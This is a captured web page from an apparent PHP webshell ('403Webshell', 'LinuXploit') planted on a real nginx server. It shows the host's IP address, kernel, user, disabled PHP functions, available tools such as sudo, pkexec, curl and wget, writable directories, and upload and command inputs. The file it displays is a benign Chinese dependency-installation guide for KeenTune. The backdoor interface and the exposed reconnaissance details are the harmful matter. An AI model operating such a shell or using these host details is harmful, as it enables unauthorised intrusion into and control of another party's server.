403Webshell
Server IP : 112.74.42.100  /  Your IP : 216.73.216.142
Web Server : nginx/1.20.2
System : Linux iZwz96lx4pjqiy84w4hni7Z 5.10.134-17.3.al8.x86_64 #1 SMP Thu Oct 31 14:29:57 CST 2024 x86_64
User : www ( 1000)
PHP Version : 8.0.26
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/keentuned/install/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/keentuned/install/Dependencies_cn.md
# Dependencies of KeenTune
---  

## 添加 yum 源
1. 将以下keentune源追加进系统的yum源
```s
vim /etc/yum.repos.d/epel.repo

[keentune]
name=keentune-os
baseurl=https://mirrors.openanolis.cn/anolis/8.4/Plus/x86_64/os/
gpgkey=https://mirrors.openanolis.cn/anolis/RPM-GPG-KEY-ANOLIS
enabled=1
```
2. 重新生成缓存
```s
yum clean all
yum makecache
```

## keentuned 编译安装依赖项
```s
#go编译器安装
yum install go

#验证go编译器
go env
go version

#配置go环境
go env -w GO111MODULE=on
go env -w GOPROXY=https://goproxy.cn,direct
```

## keentune-brain 运行依赖项
```s
yum install python36 python36-devel rust openssl-devel

pip3 install --upgrade pip
pip3 install tornado==6.1
pip3 install pynginxconfig
pip3 install numpy==1.19.5
pip3 install POAP==0.1.26
pip3 install hyperopt==0.2.5
pip3 install ultraopt==0.1.1
pip3 install requests==2.25.1 
pip3 install pySOT==0.3.3 
pip3 install scikit_learn==0.24.2 
pip3 install shap 
pip3 install xgboost
pip3 install torch
pip3 install gpytorch
```
如果安装shap和xgboost时报告gcc相关错误,使用以下步骤解决  
```s
yum install gcc gcc-c++ make cmake
pip3 install xgboost
pip3 install shap==0.35.0
```

## keentune-target 运行依赖项
```s
pip3 install tornado==6.1
pip3 install pynginxconfig
```

## keentune-bench 运行依赖项
```s
pip3 install tornado==6.1
```

Youez - 2016 - github.com/yon3zu
LinuXploit